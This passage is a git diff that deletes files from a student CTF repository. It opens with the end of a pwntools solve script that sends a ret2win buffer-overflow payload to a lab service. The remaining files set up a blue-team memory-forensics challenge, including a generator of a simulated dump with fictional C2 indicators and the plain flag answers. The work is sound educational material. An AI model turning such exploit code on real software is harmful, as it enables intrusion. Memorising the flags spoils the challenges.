"unl0ck_th3_v4ult" -# Etape 2 (pwn) : debordement de buf[64] dans access_terminal(). -# offset RIP = 64 + 8 (rbp) = 72 -# ret2win vers vault(), precede d'un gadget `ret` -# pour realigner la pile sur 16 octets (movaps). -# ===================================================================== -import sys -from pwn import * - -context.log_level = "info" - -HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" -PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9003 -LICENSE = b"unl0ck_th3_v4ult" - -elf = ELF("./vault") -vault_addr = elf.symbols["vault"] -ret_gadget = next(elf.search(asm("ret"), executable=True)) -log.info("vault() @ %#x", vault_addr) -log.info("ret gadget @ %#x", ret_gadget) - -io = remote(HOST, PORT) - -# --- Etape 1 : licence recuperee par reverse --- -io.sendlineafter(b"licence > ", LICENSE) -io.recvuntil(b"flag 1): ") -flag1 = io.recvline().strip().decode() -log.success("Flag 1 : %s", flag1) - -# --- Etape 2 : ret2win --- -payload = b"A" * 72 # 64 (buf) + 8 (rbp sauvegarde) -payload += p64(ret_gadget) # alignement de pile -payload += p64(vault_addr) # detournement vers vault() -io.sendlineafter(b"Commande > ", payload) - -io.recvuntil(b"flag 2: ") -flag2 = io.recvline().strip().decode() -log.success("Flag 2 : %s", flag2) - -io.close() diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore deleted file mode 100644 index 7c6271d..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore +++ /dev/null @@ -1,30 +0,0 @@ -# Environnement virtuel local -venv/ -.venv/ - -# Solution complète (ne pas embarquer dans l'image joueur) -solution/SOLUTION.md - -# Fichiers Python cache -__pycache__/ -*.pyc -*.pyo - -# Git -.git/ -.gitignore - -# Éditeur -.vscode/ -*.swp -*.swo - -# Fichiers générés localement (seront recréés dans le build) -challenge/ -dump_out/ -extracted/ - -# Docker -Dockerfile -docker-compose.yml -.dockerignore diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore deleted file mode 100644 index 87e29b1..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Fichiers générés au build Docker (recréés automatiquement) -challenge/memory.dmp -challenge/network_capture.pcap -challenge/hints.txt - -# Export Docker (trop lourd pour git) -*.tar -*.tar.gz - -# Python -__pycache__/ -*.pyc -*.pyo -.venv/ -venv/ - -# Fichiers extraits/générés localement -dump_out/ -extracted/ - -# Éditeur -.vscode/ -*.swp -*.swo diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile b/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile deleted file mode 100644 index b5cdbf3..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile +++ /dev/null @@ -1,71 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Memory Forensics Challenge (Container) -# ============================================================================= -# Stage 1 : Génère le dump mémoire et le PCAP -# Stage 2 : Image légère avec uniquement les outils d'analyse + les fichiers -# ============================================================================= - -# ── Stage 1 : Builder (génération des artefacts) ───────────────────────────── -FROM python:3.11-slim AS builder - -WORKDIR /build - -# Copier les scripts de génération -COPY setup/ ./setup/ - -# Installer les dépendances de génération -RUN pip install --no-cache-dir -r setup/requirements.txt - -# Générer le dump mémoire et le PCAP -RUN python setup/generate_challenge.py && \ - python setup/generate_pcap.py - - -# ── Stage 2 : Image finale (challenge) ─────────────────────────────────────── -FROM python:3.11-slim - -LABEL maintainer="Jakub – ESGI Projet Annuel 2026" -LABEL description="Blue Team CTF – Mémoire et Analyse de Malware" - -# Empêcher Python de bufferiser stdout/stderr -ENV PYTHONUNBUFFERED=1 -ENV TERM=xterm-256color - -WORKDIR /challenge - -# Copier les artefacts générés depuis le builder -COPY --from=builder /build/challenge/ ./challenge/ - -# Copier les outils d'analyse (accessibles au joueur) -COPY tools/ ./tools/ - -# Copier le template de rapport -COPY report/ ./report/ - -# Copier le script de validation (le joueur peut valider ses réponses) -COPY solution/validate_flag.py ./solution/validate_flag.py - -# Copier le README -COPY README.md ./README.md - -# Copier le script d'accueil -COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh -RUN chmod +x /usr/local/bin/docker-entrypoint.sh - -# Créer un utilisateur non-root pour le joueur -RUN useradd -m -s /bin/bash analyst && \ - chown -R analyst:analyst /challenge - -# Installer les outils utiles pour l'analyse -RUN apt-get update && apt-get install -y --no-install-recommends \ - less \ - nano \ - vim-tiny \ - xxd \ - file \ - && rm -rf /var/lib/apt/lists/* - -USER analyst - -ENTRYPOINT ["docker-entrypoint.sh"] -CMD ["/bin/bash"] diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md deleted file mode 100644 index b02f7a4..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md +++ /dev/null @@ -1,77 +0,0 @@ -# 🔵 Blue Team CTF – Mémoire et Analyse de Malware -### Challenge Jakub – Forensique Mémoire avec Volatility - -## 📌 Documentation -- Guide joueur: `docs/USER_GUIDE.md` -- Guide admin/deploiement: `docs/ADMIN_DEPLOYMENT.md` - ---- - -## 📖 Contexte - -L'équipe SOC a été alertée d'un comportement suspect sur la machine **DESKTOP-F4K3LAB** du réseau interne. Un analyste junior a immédiatement effectué un dump mémoire de la VM Windows compromise avant de l'isoler du réseau. - -L'investigation préliminaire suggère que **l'attaquant a déployé un implant en mémoire qui communique avec un serveur C2 (Command & Control)**. Votre mission est d'analyser ce dump mémoire pour identifier la menace, extraire les artefacts malveillants et récupérer les preuves. - -> 🎯 **Objectif** : Trouver le processus malveillant, identifier le C2, et récupérer le flag caché. - ---- - -## 📁 Structure du Challenge - -``` -2-Blue-Team-Memory-Forensics/ -├── README.md ← Vous êtes ici -├── Dockerfile ← Image du challenge -├── docker-compose.yml ← Orchestration Docker -├── docker-entrypoint.sh ← Script d'accueil du conteneur -├── .dockerignore ← Fichiers exclus du build -├── challenge/ ← (généré au build Docker) -│ ├── memory.dmp ← Dump mémoire à analyser -│ ├── network_capture.pcap ← Capture réseau bonus -│ └── hints.txt ← Indices (si besoin) -├── docs/ -│ ├── USER_GUIDE.md ← Guide joueur -│ └── ADMIN_DEPLOYMENT.md ← Guide admin et déploiement -├── tools/ -│ ├── vol_analyzer.py ← Outil d'analyse (mini-Volatility) -│ └── extract_strings.py ← Extracteur de chaînes -├── setup/ -│ ├── generate_challenge.py ← Générateur du dump (admin only) -│ ├── generate_pcap.py ← Générateur du PCAP (admin only) -│ └── requirements.txt ← Dépendances Python -├── solution/ -│ ├── SOLUTION.md ← Solution complète (⚠️ SPOILERS) -│ └── validate_flag.py ← Script de validation -└── report/ - └── report_template.md ← Template de rapport à remplir (partagé) -``` - ---- - -## 🎯 Public cible - -Ce depot contient deux parcours de documentation : -- Joueurs CTF : `docs/USER_GUIDE.md` -- Admins/DevOps (deploiement) : `docs/ADMIN_DEPLOYMENT.md` - -## ✅ Usage recommande - -- Si vous etes joueur : commencez par `docs/USER_GUIDE.md` -- Si vous deployez le challenge dans CTFd : suivez `docs/ADMIN_DEPLOYMENT.md` - -## 🔎 Notes - -- Le challenge est conteneurise pour l'isolation des instances. -- Le mode soutenance actuel expose les artefacts via HTTP depuis le conteneur. -- Le detail de configuration CTFd, du flag et du troubleshooting est volontairement deplace dans `docs/ADMIN_DEPLOYMENT.md`. - ---- - -## ⚠️ Avertissement - -Ce challenge est conçu à des fins **éducatives uniquement**. Les techniques présentées doivent être utilisées de manière éthique et légale, uniquement dans des environnements autorisés. - ---- - -*Blue Team CTF – Jakub – ESGI Projet Annuel 2026* \ No newline at end of file diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml deleted file mode 100644 index 80f31ea..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Docker Compose -# ============================================================================= - -services: - blue-team-challenge: - build: - context: . - dockerfile: Dockerfile - container_name: blueteam-memory-forensics - stdin_open: true # -i : garder stdin ouvert - tty: true # -t : allouer un pseudo-TTY - volumes: - # Le rapport est partagé avec l'hôte pour pouvoir le récupérer - - ./report:/challenge/report - # Pas de ports exposés : le challenge est 100% en CLI dans le conteneur diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh deleted file mode 100644 index fa17999..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/bash -# ============================================================================= -# Blue Team CTF – Script d'accueil du conteneur -# Mode dual : HTTP (port 8000) pour le download des artefacts -# + terminal interactif pour l'analyse locale -# ============================================================================= - -# ── Démarrer le serveur HTTP en arrière-plan ────────────────────────────────── -python3 -m http.server 8000 --directory /challenge/challenge & -HTTP_PID=$! -echo "[+] Serveur HTTP démarré sur le port 8000 (PID: $HTTP_PID)" - -cat << 'BANNER' - - ╔══════════════════════════════════════════════════════════════╗ - ║ ║ - ║ 🔵 BLUE TEAM CTF – Mémoire et Analyse de Malware ║ - ║ ║ - ║ Jakub – ESGI Projet Annuel 2026 ║ - ║ ║ - ╠══════════════════════════════════════════════════════════════╣ - ║ ║ - ║ 📖 Contexte : ║ - ║ L'attaquant a déployé un implant en mémoire qui ║ - ║ communique avec un serveur C2. ║ - ║ Trouvez le C2 et le flag ! ║ - ║ ║ - ║ 🌐 Téléchargement des artefacts (via CTFd) : ║ - ║ http://:8000/memory.dmp ║ - ║ http://:8000/network_capture.pcap ║ - ║ http://:8000/hints.txt ║ - ║ ║ - ║ 📁 Fichiers disponibles localement : ║ - ║ challenge/memory.dmp → Dump mémoire ║ - ║ challenge/network_capture.pcap → Capture réseau (bonus) ║ - ║ challenge/hints.txt → Indices ║ - ║ report/report_template.md → Rapport à remplir ║ - ║ ║ - ║ 🔧 Outils d'analyse (dans ce terminal) : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.info | pslist | pstree | netscan | ║ - ║ malfind | dlllist | handles | dumpfiles | ║ - ║ strings | registry ║ - ║ ║ - ║ ✅ Validation : ║ - ║ python3 solution/validate_flag.py ║ - ║ ║ - ║ 💡 Commencez par : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.pslist ║ - ║ ║ - ╚══════════════════════════════════════════════════════════════╝ - -BANNER - -# ── Mode dual : interactif (local) vs détaché (CTFd) ───────────────────────── -if [ -t 0 ]; then - # TTY présent → mode interactif (docker run -it) : lancer bash - exec "$@" -else - # Pas de TTY → mode CTFd détaché : le conteneur vit via le serveur HTTP - echo "[+] Mode non-interactif détecté (CTFd). En attente sur le serveur HTTP..." - wait $HTTP_PID -fi diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index b5d4543..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,90 +0,0 @@ -# Blue Team Memory Forensics - Guide Admin/Deploiement - -## 1) Build de l'image -Depuis `challenges/2-Blue-Team-Memory-Forensics`: - -```bash -docker build -t blue-team-memory-forensics:latest . -``` - -## 2) Test local (mode dual : HTTP + terminal) - -Lancer le conteneur localement pour vérifier que tout fonctionne : - -```bash -docker run -it --rm -p 8000:8000 blue-team-memory-forensics:latest -``` - -- **HTTP (port 8000)** : artefacts disponibles à `http://localhost:8000/` -- **Terminal interactif** : outils d'analyse (`vol_analyzer.py`) utilisables directement - -## 3) Export et transfert vers le serveur -```bash -docker save -o blue-team-memory-forensics.tar blue-team-memory-forensics:latest -scp -i "" ".\blue-team-memory-forensics.tar" jakub@:/tmp/ -``` - -## 4) Import sur le serveur -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -docker images | grep blue-team-memory-forensics -``` - -## 5) Configuration CTFd (soutenance) -Challenge type: `container` - -- **Name**: `Blue Team - Jakub - Memoire et analyse de malware (Volatility)` -- **Category**: `Blue Team` -- **Image**: `blue-team-memory-forensics:latest` -- **Port**: `8000` -- **Command**: laisser vide (l'entrypoint gère tout : HTTP + terminal) -- **Initial Value**: `100` -- **Decay Limit**: `0` -- **Minimum Value**: `100` -- **Volumes**: vide - -> **Note** : Le conteneur démarre automatiquement : -> 1. Un serveur HTTP sur le port 8000 → les joueurs téléchargent les artefacts via l'URL CTFd -> 2. Un terminal bash → accessible via `docker exec` pour les tests admin - -## 6) Creation du flag (obligatoire) -Dans l'onglet `Flags`: -- **Type**: `Static` -- **Valeur**: `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` -- **Case Sensitive**: activé - -## 7) Sequence de validation -1. Laisser le challenge en `Hidden`. -2. Tester `Start Instance` avec un compte joueur. -3. Vérifier l'accès HTTP aux fichiers : `http://:8000/memory.dmp` -4. Vérifier que `hints.txt` et `network_capture.pcap` sont bien accessibles. -5. Soumettre le flag `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` pour valider. -6. Passer en `Visible`. - -## 8) Troubleshooting -Si l'instance ne démarre pas : - -```bash -docker ps -a -docker logs -``` - -Si l'image n'existe pas : - -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -``` - -Si le port 8000 ne répond pas : - -```bash -# Vérifier que le serveur HTTP tourne dans le conteneur -docker exec ps aux | grep http.server -``` - -## 9) Accès terminal admin (debug) -```bash -docker exec -it bash -# Puis utiliser les outils d'analyse : -python3 tools/vol_analyzer.py -f challenge/memory.dmp windows.pslist -``` diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index 4c0e31f..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,60 +0,0 @@ -# Blue Team Memory Forensics - Guide Joueur - -## Objectif -Analyser un dump mémoire Windows compromis pour identifier le processus malveillant, le serveur C2 et récupérer le flag final. - -## Accès au challenge (via CTFd) - -1. Connectez-vous avec votre compte joueur. -2. Ouvrez le challenge `Blue Team - Jakub - Memoire et analyse de malware (Volatility)`. -3. Cliquez sur `Start Instance` et notez l'URL d'instance fournie par CTFd. -4. Téléchargez les artefacts depuis l'URL d'instance : - ``` - http://:8000/memory.dmp - http://:8000/network_capture.pcap - http://:8000/hints.txt - ``` - -## Outils d'analyse - -> ⚠️ **Important** : le dump `memory.dmp` est dans un **format pédagogique dédié à ce -> challenge**, pas une image mémoire brute standard. Le vrai Volatility 3 (`vol.py`) ne -> sait pas le lire, et un `strings` classique ne révèle pas le flag (il est encodé). -> Utilisez l'**outil fourni dans le conteneur** : `tools/vol_analyzer.py` (un -> « mini‑Volatility » qui reproduit les commandes `windows.*` sur ce format). - -Depuis le terminal du challenge (ou après avoir récupéré les fichiers du dépôt) : - -```bash -# Syntaxe générale -python3 tools/vol_analyzer.py -f challenge/memory.dmp - -# Commandes disponibles : -# windows.info windows.pslist windows.pstree windows.netscan -# windows.malfind windows.dlllist windows.handles windows.dumpfiles -# windows.strings windows.registry -``` - -Outils complémentaires : -- **`tools/extract_strings.py`** — extraction/décodage des chaînes du binaire extrait. -- **Wireshark / `tshark`** — analyse du PCAP réseau (`network_capture.pcap`) pour l'étape bonus. - -## Piste de résolution - -Toutes les commandes ci-dessous se lancent via `python3 tools/vol_analyzer.py -f challenge/memory.dmp `. - -1. `windows.pslist` / `windows.pstree` — cherchez un nom ou une hiérarchie suspecte. -2. Identifiez le processus suspect en regardant son PPID et sa session. -3. `windows.netscan` — vérifiez les connexions réseau associées à ce PID. -4. `windows.malfind` — recherchez de l'injection mémoire. -5. `windows.strings --pid ` (ou `tools/extract_strings.py`) — extrayez et analysez les chaînes du binaire malveillant. -6. Récupérez le flag caché dans la configuration du malware. - -## Format du flag -`blue{...}` - -## Soumission -Soumettez le flag final dans CTFd depuis la page du challenge. - -## Indices -Si vous êtes bloqué, consultez `hints.txt` téléchargé depuis l'instance. diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md deleted file mode 100644 index 32fd190..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md +++ /dev/null @@ -1,100 +0,0 @@ -# 🔵 Blue Team – Rapport d'Analyse Mémoire - -**Analyste :** _____________________ -**Date :** _____________________ -**Fichier analysé :** memory.dmp - ---- - -## 1. Résumé Exécutif - -_Décrivez brièvement l'incident et vos conclusions principales._ - ---- - -## 2. Processus Malveillant Identifié - -| Champ | Valeur | -|----------------------|---------------------| -| **PID** | | -| **Nom du processus** | | -| **PID Parent (PPID)**| | -| **Chemin complet** | | -| **Heure de création**| | - -### Justification -_Expliquez pourquoi ce processus est suspect (nom, parentage, chemin, comportement)._ - ---- - -## 3. Analyse des Injections (malfind) - -_Décrivez les sections mémoire suspectes trouvées :_ - -- **Adresse de base :** -- **Permissions :** (RWX ?) -- **Taille :** -- **Contenu notable :** - ---- - -## 4. Extraction & Analyse du Binaire - -_Résultats de l'extraction du processus / des fichiers :_ - -- **Hash MD5/SHA256 :** -- **Strings intéressantes :** -- **Comportement identifié :** - ---- - -## 5. Communication C2 - -| Champ | Valeur | -|----------------------|---------------------| -| **IP/URL du C2** | | -| **Port** | | -| **Protocole** | | -| **Fréquence beacon** | | - ---- - -## 6. Flag Récupéré - -``` -FLAG : ___________________________ -``` - ---- - -## 7. Corrélation Réseau (Bonus) - -_Si un fichier PCAP était disponible, décrivez les connexions réseau confirmant l'exfiltration :_ - -- **IP source :** -- **IP destination :** -- **Données exfiltrées :** - ---- - -## 8. Recommandations - -1. _Isoler la machine compromise_ -2. _Bloquer le C2 au niveau firewall_ -3. _Scanner les autres machines du réseau_ -4. _..._ - ---- - -## 9. Indicateurs de Compromission (IoC) - -| Type | Valeur | Description | -|-----------|---------------------------|-----------------------| -| IP | | | -| Domaine | | | -| Hash | | | -| Processus | | | - ---- - -**Signature de l'analyste :** _____________________ diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py b/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py deleted file mode 100644 index 6391851..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py +++ /dev/null @@ -1,422 +0,0 @@ -#!/usr/bin/env python3 -""" -============================================================================= - Blue Team CTF – Memory Dump Challenge Generator - Jakub – Mémoire et analyse de malware (Volatility) -============================================================================= -Génère un fichier memory.dmp simulé contenant : - - Une table de processus Windows réaliste (EPROCESS-like) - - Un processus malveillant injecté (implant C2) - - Des sections mémoire marquées RWX (malfind) - - Des connexions réseau actives (netscan) - - Un binaire malveillant caché avec strings C2 + flag - - Un fichier PCAP bonus avec trafic C2 - -Le dump est un format binaire structuré lisible par les outils -d'analyse fournis dans tools/. -""" - -import struct -import json -import hashlib -import os -import sys -import random -import base64 -import time -from datetime import datetime, timedelta - -# ─── Configuration du challenge ─────────────────────────────────────────────── - -CHALLENGE_CONFIG = { - "flag": "blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}", - "c2_domain": "c2.darkops-syndicate.net", - "c2_ip": "185.141.27.83", - "c2_port": 4444, - "c2_backup_port": 8443, - "malware_name": "svchost_update.exe", - "malware_pid": 6847, - "malware_ppid": 1052, # svchost.exe (session 0) – parentage illogique pour un proc en session 1 - "malware_path": r"C:\Users\admin\AppData\Local\Temp\svchost_update.exe", - "victim_ip": "192.168.1.47", - "beacon_interval": 30, - "encryption_key": "X0rK3y!@#2026", - "exfil_data": "CONFIDENTIAL_PROJECT_OMEGA_FILES", -} - -# ─── Processus légitimes Windows réalistes ───────────────────────────────────── - -LEGITIMATE_PROCESSES = [ - {"pid": 4, "ppid": 0, "name": "System", "path": r"", "threads": 164, "handles": 2847, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 108, "ppid": 4, "name": "Registry", "path": r"", "threads": 4, "handles": 0, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 392, "ppid": 4, "name": "smss.exe", "path": r"C:\Windows\System32\smss.exe", "threads": 2, "handles": 53, "session": 0, "create_time": "2026-02-20 08:00:02"}, - {"pid": 520, "ppid": 504, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 12, "handles": 587, "session": 0, "create_time": "2026-02-20 08:00:04"}, - {"pid": 604, "ppid": 504, "name": "wininit.exe", "path": r"C:\Windows\System32\wininit.exe", "threads": 1, "handles": 77, "session": 0, "create_time": "2026-02-20 08:00:05"}, - {"pid": 616, "ppid": 596, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 13, "handles": 430, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 700, "ppid": 596, "name": "winlogon.exe", "path": r"C:\Windows\System32\winlogon.exe", "threads": 3, "handles": 197, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 756, "ppid": 604, "name": "services.exe", "path": r"C:\Windows\System32\services.exe", "threads": 7, "handles": 313, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 764, "ppid": 604, "name": "lsass.exe", "path": r"C:\Windows\System32\lsass.exe", "threads": 9, "handles": 1289, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 868, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 21, "handles": 905, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 916, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 13, "handles": 471, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 1008, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 64, "handles": 1694, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1052, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 18, "handles": 653, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1148, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 30, "handles": 822, "session": 0, "create_time": "2026-02-20 08:00:09"}, - {"pid": 1264, "ppid": 756, "name": "spoolsv.exe", "path": r"C:\Windows\System32\spoolsv.exe", "threads": 7, "handles": 312, "session": 0, "create_time": "2026-02-20 08:00:12"}, - {"pid": 1388, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 9, "handles": 300, "session": 0, "create_time": "2026-02-20 08:00:14"}, - {"pid": 1576, "ppid": 756, "name": "VBoxService.exe", "path": r"C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxService.exe", "threads": 11, "handles": 140, "session": 0, "create_time": "2026-02-20 08:00:16"}, - {"pid": 2028, "ppid": 756, "name": "SecurityHealth.exe", "path": r"C:\Windows\System32\SecurityHealthService.exe", "threads": 12, "handles": 347, "session": 0, "create_time": "2026-02-20 08:00:22"}, - {"pid": 2480, "ppid": 1008, "name": "taskhostw.exe", "path": r"C:\Windows\System32\taskhostw.exe", "threads": 8, "handles": 185, "session": 1, "create_time": "2026-02-20 08:01:05"}, - {"pid": 2544, "ppid": 1052, "name": "sihost.exe", "path": r"C:\Windows\System32\sihost.exe", "threads": 11, "handles": 554, "session": 1, "create_time": "2026-02-20 08:01:06"}, - {"pid": 2740, "ppid": 700, "name": "dwm.exe", "path": r"C:\Windows\System32\dwm.exe", "threads": 15, "handles": 856, "session": 1, "create_time": "2026-02-20 08:01:08"}, - {"pid": 3200, "ppid": 3128, "name": "explorer.exe", "path": r"C:\Windows\explorer.exe", "threads": 34, "handles": 1820, "session": 1, "create_time": "2026-02-20 08:01:15"}, - {"pid": 3580, "ppid": 3200, "name": "SecurityHealthTray.exe","path": r"C:\Windows\System32\SecurityHealthSystray.exe", "threads": 3, "handles": 113, "session": 1, "create_time": "2026-02-20 08:01:30"}, - {"pid": 3712, "ppid": 3200, "name": "OneDrive.exe", "path": r"C:\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe", "threads": 26, "handles": 754, "session": 1, "create_time": "2026-02-20 08:01:32"}, - {"pid": 4100, "ppid": 756, "name": "MsMpEng.exe", "path": r"C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe","threads": 24, "handles": 480, "session": 0, "create_time": "2026-02-20 08:01:45"}, - {"pid": 4528, "ppid": 3200, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 30, "handles": 1245, "session": 1, "create_time": "2026-02-20 09:15:22"}, - {"pid": 4680, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 8, "handles": 217, "session": 1, "create_time": "2026-02-20 09:15:24"}, - {"pid": 4812, "ppid": 4528, "name": "chrome.exe", "path": r"C:\Program Files\Google\Chrome\Application\chrome.exe","threads": 15, "handles": 352, "session": 1, "create_time": "2026-02-20 09:15:25"}, - {"pid": 5124, "ppid": 3200, "name": "notepad.exe", "path": r"C:\Windows\System32\notepad.exe", "threads": 3, "handles": 87, "session": 1, "create_time": "2026-02-20 10:30:05"}, - {"pid": 5340, "ppid": 3200, "name": "cmd.exe", "path": r"C:\Windows\System32\cmd.exe", "threads": 1, "handles": 43, "session": 1, "create_time": "2026-02-20 14:22:18"}, -] - -# ─── Processus malveillant ───────────────────────────────────────────────────── - -MALICIOUS_PROCESS = { - "pid": CHALLENGE_CONFIG["malware_pid"], - "ppid": CHALLENGE_CONFIG["malware_ppid"], # svchost.exe – mais dans session 1, suspect ! - "name": CHALLENGE_CONFIG["malware_name"], - "path": CHALLENGE_CONFIG["malware_path"], - "threads": 5, - "handles": 142, - "session": 1, # session 1 alors que son parent (ppid 1052) est en session 0 → suspect ! - "create_time": "2026-02-20 14:23:47", # peu après cmd.exe -} - -# ─── Connexions réseau ───────────────────────────────────────────────────────── - -NETWORK_CONNECTIONS = [ - {"pid": 868, "proto": "TCPv4", "local": "0.0.0.0:135", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 4, "proto": "TCPv4", "local": "0.0.0.0:445", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 916, "proto": "TCPv4", "local": "0.0.0.0:5040", "remote": "0.0.0.0:0", "state": "LISTENING"}, - {"pid": 1388, "proto": "TCPv4", "local": "192.168.1.47:49672", "remote": "20.198.119.143:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49801", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 4528, "proto": "TCPv4", "local": "192.168.1.47:49803", "remote": "142.250.74.206:443", "state": "ESTABLISHED"}, - {"pid": 3712, "proto": "TCPv4", "local": "192.168.1.47:49780", "remote": "52.113.194.132:443", "state": "ESTABLISHED"}, - # ↓↓↓ Connexion C2 malveillante ↓↓↓ - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49847", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_port']}", "state": "ESTABLISHED"}, - {"pid": CHALLENGE_CONFIG["malware_pid"], "proto": "TCPv4", "local": f"{CHALLENGE_CONFIG['victim_ip']}:49902", - "remote": f"{CHALLENGE_CONFIG['c2_ip']}:{CHALLENGE_CONFIG['c2_backup_port']}", "state": "ESTABLISHED"}, - # ↑↑↑ fin connexion C2 ↑↑↑ - {"pid": 868, "proto": "UDPv4", "local": "0.0.0.0:5353", "remote": "*:*", "state": ""}, - {"pid": 1148, "proto": "UDPv4", "local": "0.0.0.0:5355", "remote": "*:*", "state": ""}, - {"pid": 1008, "proto": "UDPv6", "local": ":::5353", "remote": "*:*", "state": ""}, -] - -# ─── Sections mémoire injectées (malfind) ────────────────────────────────────── - -def build_shellcode_stub(): - """Construit un faux shellcode réaliste avec les artefacts du challenge.""" - cfg = CHALLENGE_CONFIG - # Simuler du code PE + shellcode - pe_header = b"MZ" + b"\x90" * 58 + struct.pack("